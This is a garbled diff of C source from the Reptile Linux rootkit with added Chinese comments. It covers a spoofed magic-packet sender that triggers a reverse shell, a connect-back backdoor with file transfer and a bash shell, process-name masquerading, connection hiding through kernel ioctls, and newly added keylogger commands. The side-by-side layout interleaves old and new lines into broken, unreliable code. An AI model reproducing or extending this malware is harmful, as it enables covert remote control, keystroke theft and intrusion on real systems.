iph = (struct iphdr *)buffer;
udph = (struct udphdr *)(buffer + sizeof(struct iphdr)); // 初始化内存
memset(buffer, '\0', pckt_tam); // 将缓冲区清零
if ((sockudp = socket(PF_INET, SOCK_RAW, IPPROTO_UDP)) == -1) {
fatal("on creating UDP socket"); // 填充IP首部
goto free_buffer; iph = (struct iphdr*)buffer; // 将缓冲区的开始部分视为IP头
} udph = (struct udphdr*)(buffer + sizeof(struct iphdr)); // IP头后是UDP头
iph->ihl = 5; // IP头长度
if (setsockopt(sockudp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) { iph->version = 4; // IP版本
fatal("on setsockopt"); iph->tos = 0; // 服务类型
goto close_socket; iph->id = htons(IPID); // 标识符
} iph->ttl = 255; // 生命周期
iph->protocol = IPPROTO_UDP; // 协议类型
memcpy((buffer + sizeof(struct iphdr) + sizeof(struct udphdr)), data, data_len); iph->tot_len = pckt_tam; // 总长度
iph->saddr = inet_addr(srcip); // 源IP地址
iph->ihl = 5; iph->daddr = inet_addr(dstip); // 目的IP地址
iph->version = 4; iph->check = csum((unsigned short*)buffer, iph->tot_len); // 校验和
iph->tos = 0;
iph->id = htons(IPID); // 填充UDP首部
iph->ttl = 255; udph->source = htons(srcport); // 源端口
iph->protocol = IPPROTO_UDP; udph->dest = htons(dstport); // 目的端口
iph->tot_len = pckt_tam; udph->len = htons(sizeof(struct udphdr) + data_len); // UDP长度
iph->saddr = inet_addr(srcip); udph->check = 0; // 校验和初始化为0
iph->daddr = inet_addr(dstip);
iph->check = csum((unsigned short *)buffer, iph->tot_len); // 创建伪包头
psh.saddr = inet_addr(srcip); // 源IP地址
udph->source = htons(srcport); psh.daddr = inet_addr(dstip); // 目的IP地址
udph->dest = htons(dstport); psh.zero = 0; // 填充0
udph->len = htons(sizeof(struct udphdr) + data_len); psh.protocol = IPPROTO_UDP; // 协议类型
udph->check = 0; psh.length = htons(sizeof(struct udphdr) + data_len); // UDP长度
psh.saddr = inet_addr(srcip); // 计算伪包长度
psh.daddr = inet_addr(dstip); plen = sizeof(struct pseudohdr) + sizeof(struct udphdr) + data_len;
psh.zero = 0;
psh.protocol = IPPROTO_UDP; // 分配伪包内存
psh.length = htons(sizeof(struct udphdr) + data_len); if ((pseudo_packet = malloc(plen)) == NULL) {
fatal("on malloc"); // 分配失败时调用fatal函数
plen = sizeof(struct pseudohdr) + sizeof(struct udphdr) + data_len; goto close_socket; // 跳转到关闭socket的标签
}
if ((pseudo_packet = malloc(plen)) == NULL) {
fatal("on malloc"); // 初始化伪包内存
goto close_socket; bzero(pseudo_packet, plen); // 清零伪包
} memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); // 复制伪包头
bzero(pseudo_packet, plen); // 计算UDP校验和
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); udph->check = 0; // 校验和重置为0
memcpy(pseudo_packet + sizeof(struct pseudohdr), udph, sizeof(struct udphdr) + data_len); // 复制UDP头和数据
udph->check = 0; udph->check = csum((unsigned short*)pseudo_packet, plen); // 计算校验和
memcpy(pseudo_packet + sizeof(struct pseudohdr), udph, sizeof(struct udphdr) + data_len);
udph->check = csum((unsigned short *)pseudo_packet, plen); // 设置目的地址
s.sin_family = AF_INET; // 地址族
//fprintf(stdout, "UDP Checksum = 0x%x\n", htons(udph->check)); s.sin_port = htons(dstport); // 目的端口
s.sin_addr.s_addr = inet_addr(dstip); // 目的IP地址
s.sin_family = AF_INET;
s.sin_port = htons(dstport); // 发送数据包
s.sin_addr.s_addr = inet_addr(dstip); if ((nbytes = sendto(sockudp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package"); // 发送失败时调用fatal函数
if ((nbytes = sendto(sockudp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package"); // 检查发送的字节数
if (nbytes > 0) {
if (nbytes > 0) { fprintf(stdout, "%s UDP: %u bytes was sent!\n", good, nbytes); // 打印成功消息
fprintf(stdout, "%s UDP: %u bytes was sent!\n", good, nbytes); ret = EXIT_SUCCESS; // 设置返回值为成功
ret = EXIT_SUCCESS; }
}
// 释放伪包内存
free(pseudo_packet); free(pseudo_packet);
close_socket: close_socket:
close(sockudp); // 关闭socket
close(sockudp);
free_buffer: free_buffer:
free(buffer); // 释放缓冲区内存
return ret; free(buffer);
return ret; // 返回结果
} }
void usage(char *argv0) void usage(char* argv0)
{ {
fprintf(stderr, "\n\e[01;32mReptile Packet Sender\e[00m\n"); // 打印使用说明
fprintf(stderr, "\e[01;31mWritten by F0rb1dd3n\e[00m\n"); fprintf(stderr, "\n\e[01;32mReptile Packet Sender\e[00m\n");
fprintf(stderr, "\nUsage: %s [options]\n\n", argv0); fprintf(stderr, "\e[01;31mWritten by F0rb1dd3n\e[00m\n");
fprintf(stderr, "-t\tTarget\n"); fprintf(stderr, "\nUsage: %s [options]\n\n", argv0);
fprintf(stderr, "-r\tRemote port from magic packets (only for tcp/udp)\n"); fprintf(stderr, "-t\tTarget\n");
fprintf(stderr, "-x\tMagic Packet protocol (tcp/icmp/udp)\n"); fprintf(stderr, "-r\tRemote port from magic packets (only for tcp/udp)\n");
fprintf(stderr, "-s\tSource IP address to spoof\n"); fprintf(stderr, "-x\tMagic Packet protocol (tcp/icmp/udp)\n");
fprintf(stderr, "-q\tSource port from magic packets (only for tcp/udp)\n"); fprintf(stderr, "-s\tSource IP address to spoof\n");
fprintf(stderr, "-l\tHost to receive the reverse shell\n"); fprintf(stderr, "-q\tSource port from magic packets (only for tcp/udp)\n");
fprintf(stderr, "-p\tHost port to receive the reverse shell\n"); fprintf(stderr, "-l\tHost to receive the reverse shell\n");
fprintf(stderr, "-k\tToken to trigger the port-knocking\n\n"); fprintf(stderr, "-p\tHost port to receive the reverse shell\n");
exit(1); fprintf(stderr, "-k\tToken to trigger the port-knocking\n");
exit(1); // 退出程序
} }
int main(int argc, char **argv) int main(int argc, char** argv)
{ {
int opt, dstport, srcport, len, crypt_len; // 声明变量
char *prot, *dstip, *srcip, *connect_back_host, *connect_back_port, int opt, dstport, srcport, len, crypt_len;
*token, *data; char* prot, * dstip, * srcip, * connect_back_host, * connect_back_port,
* token, * data;
dstport = srcport = 0;
// 初始化端口变量
prot = dstip = srcip = connect_back_host = connect_back_port = token = dstport = srcport = 0;
NULL;
// 初始化字符串指针
while ((opt = getopt(argc, argv, "x:t:l:p:r:s:q:k:")) != EOF) { prot = dstip = srcip = connect_back_host = connect_back_port = token =
switch (opt) { NULL;
case 'x':
prot = optarg; // 解析命令行参数
if (strcmp(prot, "icmp") == 0 || while ((opt = getopt(argc, argv, "x:t:l:p:r:s:q:k:")) != EOF) {
strcmp(prot, "ICMP") == 0) { switch (opt) {
if (strcmp(prot, "udp") == 0 || case 'x':
strcmp(prot, "UDP") == 0) { // 设置协议
if (strcmp(prot, "tcp") == 0 || prot = optarg;
strcmp(prot, "TCP") == 0) { // 检查协议是否合法
printf("%s wrong " if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
"protocol\n", if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
bad); if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
exit(-1); printf("%s wrong protocol\n", bad);
} exit(-1);
} }
} }
break; }
case 't': break;
if (strlen(optarg) > 15) { case 't':
printf("%s wrong IP address\n", bad); // 设置目标IP
exit(-1); if (strlen(optarg) > 15) {
} printf("%s wrong IP address\n", bad);
dstip = optarg; exit(-1);
break; }
case 'l': dstip = optarg;
if (strlen(optarg) > 15) { break;
printf("%s wrong IP address\n", bad); case 'l':
exit(-1); // 设置连接回显IP
} if (strlen(optarg) > 15) {
connect_back_host = optarg; printf("%s wrong IP address\n", bad);
break; exit(-1);
case 'p': }
if (atoi(optarg) < 0 || atoi(optarg) > 65535) { connect_back_host = optarg;
printf("%s wrong port\n", bad); break;
exit(-1); case 'p':
} // 设置连接回显端口
connect_back_port = optarg; if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
break; printf("%s wrong port\n", bad);
case 'r': exit(-1);
if (atoi(optarg) < 0 || atoi(optarg) > 65535) { }
printf("%s wrong port\n", bad); connect_back_port = optarg;
exit(-1); break;
} case 'r':
dstport = atoi(optarg); // 设置远程端口
break; if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
case 's': printf("%s wrong port\n", bad);
if (strlen(optarg) > 15) { exit(-1);
printf("%s wrong IP address\n", bad); }
exit(-1); dstport = atoi(optarg);
} break;
srcip = optarg; case 's':
break; // 设置源IP
case 'q': if (strlen(optarg) > 15) {
if (atoi(optarg) < 0 || atoi(optarg) > 65535) { printf("%s wrong IP address\n", bad);
printf("%s wrong port\n", bad); exit(-1);
exit(-1); }
} srcip = optarg;
srcport = atoi(optarg); break;
break; case 'q':
case 'k': // 设置源端口
if (strlen(optarg) > 16 || strlen(optarg) < 5) { if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
printf("%s wrong size of token\n", bad); printf("%s wrong port\n", bad);
exit(-1); exit(-1);
} }
token = optarg; srcport = atoi(optarg);
break; break;
default: case 'k':
usage(argv[0]); // 设置令牌
break; if (strlen(optarg) > 16 || strlen(optarg) < 5) {
} printf("%s wrong size of token\n", bad);
} exit(-1);
}
if (prot == NULL || dstip == NULL || srcip == NULL || token = optarg;
connect_back_host == NULL || connect_back_port == NULL || break;
token == NULL) { default:
usage(argv[0]); // 打印使用说明
} usage(argv[0]);
break;
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "udp") == 0 || }
strcmp(prot, "TCP") == 0 || strcmp(prot, "UDP") == 0) { }
if (srcport == 0 || dstport == 0)
usage(argv[0]); // 检查必要的参数是否已设置
} if (prot == NULL || dstip == NULL || srcip == NULL ||
connect_back_host == NULL || connect_back_port == NULL ||
token == NULL) {
len = strlen(token) + strlen(connect_back_host) + strlen(connect_back_port) + 3; usage(argv[0]);
crypt_len = strlen(connect_back_host) + strlen(connect_back_port) + 2; }
data = (char *)malloc(len);
// 检查端口参数
if (!data) if (strcmp(prot, "tcp") == 0 || strcmp(prot, "udp") == 0 ||
fatal("malloc"); strcmp(prot, "TCP") == 0 || strcmp(prot, "UDP") == 0) {
if (srcport == 0 || dstport == 0)
bzero(data, len); usage(argv[0]);
snprintf(data, len, "%s %s %s", token, connect_back_host, connect_back_port); }
do_encrypt(data + strlen(token) + 1, crypt_len, KEY);
// 计算数据长度
// printf("data size: %d\n", len); len = strlen(token) + strlen(connect_back_host) + strlen(connect_back_port) + 3;
crypt_len = strlen(connect_back_host) + strlen(connect_back_port) + 2;
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) { data = (char*)malloc(len);
tcp(srcip, dstip, srcport, dstport, data, len);
} else if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) { // 检查内存分配
icmp(srcip, dstip, data, len); if (!data)
} else if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) { fatal("malloc");
udp(srcip, dstip, srcport, dstport, data, len);
} // 初始化数据
bzero(data, len);
free(data); snprintf(data, len, "%s %s %s", token, connect_back_host, connect_back_port);
return EXIT_SUCCESS; do_encrypt(data + strlen(token) + 1, crypt_len, KEY); // 加密数据
}
// 根据协议发送数据包
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
tcp(srcip, dstip, srcport, dstport, data, len);
}
else if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
icmp(srcip, dstip, data, len);
}
else if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
udp(srcip, dstip, srcport, dstport, data, len);
}
// 释放内存
free(data);
return EXIT_SUCCESS; // 返回成功
}

@ -190,6 +190,27 @@ int main(int argc, char **argv)
} }
} }
}*/ }*/
if (strcmp(argv[1], "keysniffer") == 0) {
if (argc < 3)
goto fail;
if (strcmp(argv[2], "start") == 0) {
args.cmd = 6; // 假设6是启动keysniffer的命令
} else if (strcmp(argv[2], "stop") == 0) {
args.cmd = 7; // 假设7是停止keysniffer的命令
} else {
goto fail;
}
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out;
}
}
}
}
fail: // fail标签打印失败信息并关闭套接字 fail: // fail标签打印失败信息并关闭套接字
printf("\e[01;31mFailed!\e[00m\n"); printf("\e[01;31mFailed!\e[00m\n");
out: // out标签关闭套接字并返回0表示程序结束 out: // out标签关闭套接字并返回0表示程序结束

@ -15,7 +15,7 @@
#include "config.h" #include "config.h"
#include "pel.h" #include "pel.h"
#define ERROR -1 #define ERROR -1
unsigned char message[BUFSIZE + 1]; unsigned char message[BUFSIZE + 1];
extern char *optarg; extern char *optarg;
@ -23,224 +23,239 @@ char *rcfile;
#ifndef _REPTILE_ #ifndef _REPTILE_
// 打印使用说明
void usage(char *argv0) void usage(char *argv0)
{ {
fprintf(stderr, "Usage: %s [ -t connect_back_host ] ", argv0); fprintf(stderr, "Usage: %s [ -t connect_back_host ] ", argv0);
fprintf(stderr, "[ -p port ] [ -s secret ] [ -r delay (optional) ]\n"); fprintf(stderr, "[ -p port ] [ -s secret ] [ -r delay (optional) ]\n");
} }
#endif #endif
// 获取文件
int get_file(int client) int get_file(int client)
{ {
int ret, len, fd; int ret, len, fd;
ret = pel_recv_msg(client, message, &len); // 接收文件名
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
if (message[0] == OUT) if (message[0] == OUT)
return 1; return 1;
message[len] = '\0'; message[len] = '\0';
fd = open((char *)message, O_RDONLY); // 打开文件
fd = open((char *)message, O_RDONLY);
if (fd < 0) if (fd < 0)
return (ERROR); return (ERROR);
while (1) { // 读取文件内容并发送
len = read(fd, message, BUFSIZE); while (1) {
len = read(fd, message, BUFSIZE);
if (len == 0) if (len == 0)
break; break;
if (len < 0) if (len < 0)
return (ERROR); return (ERROR);
ret = pel_send_msg(client, message, len); ret = pel_send_msg(client, message, len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
} }
return 0; return 0;
} }
// 上传文件
int put_file(int client) int put_file(int client)
{ {
int ret, len, fd; int ret, len, fd;
ret = pel_recv_msg(client, message, &len); // 接收文件名
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
if (message[0] == OUT) if (message[0] == OUT)
return (ERROR); return (ERROR);
message[len] = '\0'; message[len] = '\0';
fd = creat((char *)message, 0644); fd = creat((char *)message, 0644);
if (fd < 0) if (fd < 0)
return (ERROR); return (ERROR);
while (1) { // 接收文件内容并写入
ret = pel_recv_msg(client, message, &len); while (1) {
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
if (strncmp((char *)message, EXIT, EXIT_LEN) == 0) if (strncmp((char *)message, EXIT, EXIT_LEN) == 0)
break; break;
if (write(fd, message, len) != len) if (write(fd, message, len) != len)
return (ERROR); return (ERROR);
} }
return 0; return 0;
} }
// 运行 shell
int runshell(int client) int runshell(int client)
{ {
fd_set rd; fd_set rd;
struct winsize ws; struct winsize ws;
char *slave, *temp, *shell; char *slave, *temp, *shell;
int ret, len, pid, pty, tty, n; int ret, len, pid, pty, tty, n;
if (openpty(&pty, &tty, NULL, NULL, NULL) < 0) // 打开伪终端
return (ERROR); if (openpty(&pty, &tty, NULL, NULL, NULL) < 0)
return (ERROR);
slave = ttyname(tty); slave = ttyname(tty);
if (slave == NULL) if (slave == NULL)
return (ERROR); return (ERROR);
chdir(HOMEDIR); chdir(HOMEDIR);
putenv("HISTFILE="); putenv("HISTFILE=");
ret = pel_recv_msg(client, message, &len); // 接收终端类型
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
message[len] = '\0'; message[len] = '\0';
setenv("TERM", (char *)message, 1); setenv("TERM", (char *)message, 1);
ret = pel_recv_msg(client, message, &len); // 接收窗口大小
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS || len != 4) if (ret != PEL_SUCCESS || len != 4)
return (ERROR); return (ERROR);
ws.ws_row = ((int)message[0] << 8) + (int)message[1]; ws.ws_row = ((int)message[0] << 8) + (int)message[1];
ws.ws_col = ((int)message[2] << 8) + (int)message[3]; ws.ws_col = ((int)message[2] << 8) + (int)message[3];
ws.ws_xpixel = 0; ws.ws_xpixel = 0;
ws.ws_ypixel = 0; ws.ws_ypixel = 0;
if (ioctl(pty, TIOCSWINSZ, &ws) < 0) if (ioctl(pty, TIOCSWINSZ, &ws) < 0)
return (ERROR); return (ERROR);
ret = pel_recv_msg(client, message, &len); // 接收命令
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
if (len == 1 && message[0] == RUNSHELL) { if (len == 1 && message[0] == RUNSHELL) {
temp = (char *)malloc(20 + strlen(rcfile)); temp = (char *)malloc(20 + strlen(rcfile));
if (temp == NULL) if (temp == NULL)
return (ERROR); return (ERROR);
strcpy(temp, "exec bash --rcfile "); strcpy(temp, "exec bash --rcfile ");
strcat(temp, rcfile); strcat(temp, rcfile);
} else { } else {
message[len] = '\0'; message[len] = '\0';
temp = (char *)malloc(len + 1); temp = (char *)malloc(len + 1);
if (temp == NULL) if (temp == NULL)
return (ERROR); return (ERROR);
strncpy(temp, (char *)message, len + 1); strncpy(temp, (char *)message, len + 1);
} }
pid = fork(); // 创建子进程
pid = fork();
if (pid < 0) { if (pid < 0) {
free(temp); free(temp);
return (ERROR); return (ERROR);
} }
if (pid == 0) { if (pid == 0) {
close(client); close(client);
close(pty); close(pty);
if (setsid() < 0) { if (setsid() < 0) {
free(temp); free(temp);
return (ERROR); return (ERROR);
} }
if (ioctl(tty, TIOCSCTTY, NULL) < 0) { if (ioctl(tty, TIOCSCTTY, NULL) < 0) {
free(temp); free(temp);
return (ERROR); return (ERROR);
} }
dup2(tty, 0); dup2(tty, 0);
dup2(tty, 1); dup2(tty, 1);
dup2(tty, 2); dup2(tty, 2);
if (tty > 2) if (tty > 2)
close(tty); close(tty);
shell = (char *)malloc(10); shell = (char *)malloc(10);
if (shell == NULL) { if (shell == NULL) {
free(temp); free(temp);
return (ERROR); return (ERROR);
} }
strcpy(shell, "/bin/bash"); strcpy(shell, "/bin/bash");
execl(shell, shell + 5, "-c", temp, (char *)0); execl(shell, shell + 5, "-c", temp, (char *)0);
free(temp); free(temp);
free(shell); free(shell);
return 0; return 0;
} else { } else {
close(tty); close(tty);
while (1) { // 处理数据传输
FD_ZERO(&rd); while (1) {
FD_SET(client, &rd); FD_ZERO(&rd);
FD_SET(pty, &rd); FD_SET(client, &rd);
FD_SET(pty, &rd);
n = (pty > client) ? pty : client; n = (pty > client) ? pty : client;
if (select(n + 1, &rd, NULL, NULL, NULL) < 0) if (select(n + 1, &rd, NULL, NULL, NULL) < 0)
return (ERROR); return (ERROR);
if (FD_ISSET(client, &rd)) { if (FD_ISSET(client, &rd)) {
ret = pel_recv_msg(client, message, &len); ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
if (write(pty, message, len) != len) if (write(pty, message, len) != len)
return (ERROR); return (ERROR);
} }
if (FD_ISSET(pty, &rd)) { if (FD_ISSET(pty, &rd)) {
len = read(pty, message, BUFSIZE); len = read(pty, message, BUFSIZE);
if (len == 0) if (len == 0)
break; break;
if (len < 0) if (len < 0)
return (ERROR); return (ERROR);
ret = pel_send_msg(client, message, len); ret = pel_send_msg(client, message, len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
} }
} }
return 0; return 0;
} }
} }
#ifdef _REPTILE_ #ifdef _REPTILE_
@ -249,247 +264,265 @@ int runshell(int client)
#define UNHIDE 0 #define UNHIDE 0
struct control { struct control {
unsigned short cmd; unsigned short cmd;
void *argv; void *argv;
}; };
// 隐藏连接
void hide_conn(struct sockaddr_in addr, int hide) void hide_conn(struct sockaddr_in addr, int hide)
{ {
struct control args; struct control args;
int sockioctl = socket(AF_INET, SOCK_STREAM, 6); int sockioctl = socket(AF_INET, SOCK_STREAM, 6);
if (sockioctl < 0) if (sockioctl < 0)
exit(1); exit(1);
if (hide) { if (hide) {
args.cmd = 4; args.cmd = 4;
} else { } else {
args.cmd = 5; args.cmd = 5;
} }
args.argv = &addr; args.argv = &addr;
if (ioctl(sockioctl, AUTH, HTUA) == 0) { if (ioctl(sockioctl, AUTH, HTUA) == 0) {
if (ioctl(sockioctl, AUTH, &args) == 0) if (ioctl(sockioctl, AUTH, &args) == 0)
ioctl(sockioctl, AUTH, HTUA); ioctl(sockioctl, AUTH, HTUA);
} }
close(sockioctl); close(sockioctl);
} }
#endif #endif
// 构建 rcfile 路径
int build_rcfile_path(void) int build_rcfile_path(void)
{ {
char *name = NAME; char *name = NAME;
int len = 6 + strlen(name) + strlen(name); int len = 6 + strlen(name) + strlen(name);
rcfile = (char *)malloc(len); rcfile = (char *)malloc(len);
if (rcfile == NULL) if (rcfile == NULL)
return -1; return -1;
snprintf(rcfile, len, "/%s/%s_rc", name, name); snprintf(rcfile, len, "/%s/%s_rc", name, name);
return 0; return 0;
} }
int main(int argc, char **argv) int main(int argc, char **argv)
{ {
int ret, len, pid, opt, client, arg0_len, delay = 0; int ret, len, pid, opt, client, arg0_len, delay = 0;
short int connect_back_port = 0; short int connect_back_port = 0;
char *connect_back_host = NULL; char *connect_back_host = NULL;
char *secret = NULL; char *secret = NULL;
struct sockaddr_in client_addr; struct sockaddr_in client_addr;
struct hostent *client_host; struct hostent *client_host;
socklen_t n; socklen_t n;
while ((opt = getopt(argc, argv, "t:s:p:r:")) != -1) { // 解析命令行参数
switch (opt) { while ((opt = getopt(argc, argv, "t:s:p:r:")) != -1) {
case 't': switch (opt) {
connect_back_host = strdup(optarg); case 't':
break; connect_back_host = strdup(optarg);
case 'p': break;
connect_back_port = atoi(optarg); case 'p':
if (!connect_back_port) { connect_back_port = atoi(optarg);
if (!connect_back_port) {
#ifndef _REPTILE_ #ifndef _REPTILE_
usage(*argv); usage(*argv);
#endif #endif
goto out; goto out;
} }
break; break;
case 's': case 's':
secret = strdup(optarg); secret = strdup(optarg);
break; break;
case 'r': case 'r':
delay = atoi(optarg); delay = atoi(optarg);
break; break;
default: default:
#ifndef _REPTILE_ #ifndef _REPTILE_
usage(*argv); usage(*argv);
#endif #endif
exit(1); exit(1);
break; break;
} }
} }
if (connect_back_host == NULL || connect_back_port == 0 || if (connect_back_host == NULL || connect_back_port == 0 ||
secret == NULL) { secret == NULL) {
#ifndef _REPTILE_ #ifndef _REPTILE_
usage(*argv); usage(*argv);
#endif #endif
goto out; goto out;
} }
arg0_len = strlen(argv[0]); // 隐藏进程名称
bzero(argv[0], arg0_len); arg0_len = strlen(argv[0]);
bzero(argv[0], arg0_len);
if (arg0_len >= 7)
strcpy(argv[0], "[ata/0]"); if (arg0_len >= 7)
strcpy(argv[0], "[ata/0]");
if(argv[1])
bzero(argv[1], strlen(argv[1])); if(argv[1])
bzero(argv[1], strlen(argv[1]));
if(argv[2])
bzero(argv[2], strlen(argv[2])); if(argv[2])
bzero(argv[2], strlen(argv[2]));
if(argv[3])
bzero(argv[3], strlen(argv[3])); if(argv[3])
bzero(argv[3], strlen(argv[3]));
if(argv[4])
bzero(argv[4], strlen(argv[4])); if(argv[4])
bzero(argv[4], strlen(argv[4]));
if(argv[5])
bzero(argv[5], strlen(argv[5])); if(argv[5])
bzero(argv[5], strlen(argv[5]));
if(argv[6])
bzero(argv[6], strlen(argv[6])); if(argv[6])
bzero(argv[6], strlen(argv[6]));
if(argv[7])
bzero(argv[7], strlen(argv[7])); if(argv[7])
bzero(argv[7], strlen(argv[7]));
if(argv[8])
bzero(argv[8], strlen(argv[8])); if(argv[8])
bzero(argv[8], strlen(argv[8]));
if (build_rcfile_path())
goto out; if (build_rcfile_path())
goto out;
pid = fork();
// 创建子进程
if (pid < 0) pid = fork();
return (ERROR);
if (pid < 0)
if (pid != 0) return (ERROR);
return 0;
if (pid != 0)
if (setsid() < 0) return 0;
return (ERROR);
if (setsid() < 0)
for (n = 0; n < 1024; n++) return (ERROR);
close(n);
for (n = 0; n < 1024; n++)
do { close(n);
if (delay > 0)
sleep(delay); do {
if (delay > 0)
client = socket(PF_INET, SOCK_STREAM, 0); sleep(delay);
if (client < 0)
continue; client = socket(PF_INET, SOCK_STREAM, 0);
if (client < 0)
client_host = gethostbyname(connect_back_host); continue;
if (client_host == NULL)
continue; client_host = gethostbyname(connect_back_host);
if (client_host == NULL)
memcpy((void *)&client_addr.sin_addr, continue;
(void *)client_host->h_addr, client_host->h_length);
memcpy((void *)&client_addr.sin_addr,
client_addr.sin_family = AF_INET; (void *)client_host->h_addr, client_host->h_length);
client_addr.sin_port = htons(connect_back_port);
client_addr.sin_family = AF_INET;
ret = connect(client, (struct sockaddr *)&client_addr, client_addr.sin_port = htons(connect_back_port);
sizeof(client_addr));
ret = connect(client, (struct sockaddr *)&client_addr,
if (ret < 0) { sizeof(client_addr));
close(client);
continue; if (ret < 0) {
} close(client);
continue;
}
#ifdef _REPTILE_ #ifdef _REPTILE_
hide_conn(client_addr, HIDE); hide_conn(client_addr, HIDE);
#endif #endif
ret = pel_server_init(client, secret); ret = pel_server_init(client, secret);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
shutdown(client, 2); shutdown(client, 2);
#ifdef _REPTILE_ #ifdef _REPTILE_
hide_conn(client_addr, UNHIDE); hide_conn(client_addr, UNHIDE);
#endif #endif
continue; continue;
} }
connect: connect:
ret = pel_recv_msg(client, message, &len); ret = pel_recv_msg(client, message, &len);
if (ret == PEL_SUCCESS || len == 1) { if (ret == PEL_SUCCESS || len == 1) {
if (strcmp((char *)message, EXIT) == 0) if (strcmp((char *)message, EXIT) == 0)
goto end; goto end;
switch (message[0]) { switch (message[0]) {
case GET_FILE: case GET_FILE:
ret = get_file(client); ret = get_file(client);
if (ret) if (ret)
goto connect; goto connect;
if (pel_send_msg(client, (unsigned char *)EXIT, if (pel_send_msg(client, (unsigned char *)EXIT,
EXIT_LEN) != PEL_SUCCESS) EXIT_LEN) != PEL_SUCCESS)
goto end; goto end;
goto connect; goto connect;
case PUT_FILE: case PUT_FILE:
put_file(client); put_file(client);
goto connect; goto connect;
case RUNSHELL: case RUNSHELL:
runshell(client); runshell(client);
if (pel_send_msg(client, (unsigned char *)EXIT, if (pel_send_msg(client, (unsigned char *)EXIT,
EXIT_LEN) != PEL_SUCCESS) EXIT_LEN) != PEL_SUCCESS)
goto end; goto end;
goto connect; goto connect;
case SET_DELAY: case SET_DELAY:
if (pel_recv_msg(client, message, &len) != if (pel_recv_msg(client, message, &len) !=
PEL_SUCCESS) PEL_SUCCESS)
goto end; goto end;
if (message[0] == 5) if (message[0] == 5)
goto connect; goto connect;
message[len] = '\0'; message[len] = '\0';
delay = atoi((char *)message); delay = atoi((char *)message);
goto connect; goto connect;
default: case 'K': // 添加 keysniffer 命令处理
break; if (pel_recv_msg(client, message, &len) != PEL_SUCCESS)
} goto end;
} if (strcmp((char *)message, "start") == 0) {
end: start_keysniffer();
shutdown(client, 2); }
else if (strcmp((char *)message, "stop") == 0) {
stop_keysniffer();
}
if (pel_send_msg(client, (unsigned char *)EXIT, EXIT_LEN) != PEL_SUCCESS)
goto end;
goto connect;
default:
break;
}
}
end:
shutdown(client, 2);
#ifdef _REPTILE_ #ifdef _REPTILE_
hide_conn(client_addr, UNHIDE); hide_conn(client_addr, UNHIDE);
#endif #endif
} while (delay > 0); } while (delay > 0);
out: out:
if (connect_back_host) if (connect_back_host)
free(connect_back_host); free(connect_back_host);
if (secret) if (secret)
free(secret); free(secret);
return 0; return 0;
} }

@ -14,42 +14,42 @@
#include "pel.h" #include "pel.h"
#include "sha1.h" #include "sha1.h"
/* global data */ /* 全局数据 */
int pel_errno; int pel_errno;
struct pel_context { struct pel_context {
/* AES-CBC-128 variables */ /* AES-CBC-128 变量 */
struct aes_context SK; /* Rijndael session key */ struct aes_context SK; /* Rijndael 会话密钥 */
unsigned char LCT[16]; /* last ciphertext block */ unsigned char LCT[16]; /* 最后一个密文块 */
/* HMAC-SHA1 variables */ /* HMAC-SHA1 变量 */
unsigned char k_ipad[64]; /* inner padding */ unsigned char k_ipad[64]; /* 内部填充 */
unsigned char k_opad[64]; /* outer padding */ unsigned char k_opad[64]; /* 外部填充 */
unsigned long int p_cntr; /* packet counter */ unsigned long int p_cntr; /* 数据包计数器 */
}; };
struct pel_context send_ctx; /* to encrypt outgoing data */ struct pel_context send_ctx; /* 用于加密传出数据 */
struct pel_context recv_ctx; /* to decrypt incoming data */ struct pel_context recv_ctx; /* 用于解密传入数据 */
unsigned char challenge[16] = /* version-specific */ unsigned char challenge[16] = /* 版本特定 */
"\x58\x90\xAE\x86\xF1\xB9\x1C\xF6" "\x58\x90\xAE\x86\xF1\xB9\x1C\xF6"
"\x29\x83\x95\x71\x1D\xDE\x58\x0D"; "\x29\x83\x95\x71\x1D\xDE\x58\x0D";
unsigned char buffer[BUFSIZE + 16 + 20]; unsigned char buffer[BUFSIZE + 16 + 20];
/* function declaration */ /* 函数声明 */
void pel_setup_context(struct pel_context *pel_ctx, char *key, void pel_setup_context(struct pel_context *pel_ctx, char *key,
unsigned char IV[20]); unsigned char IV[20]);
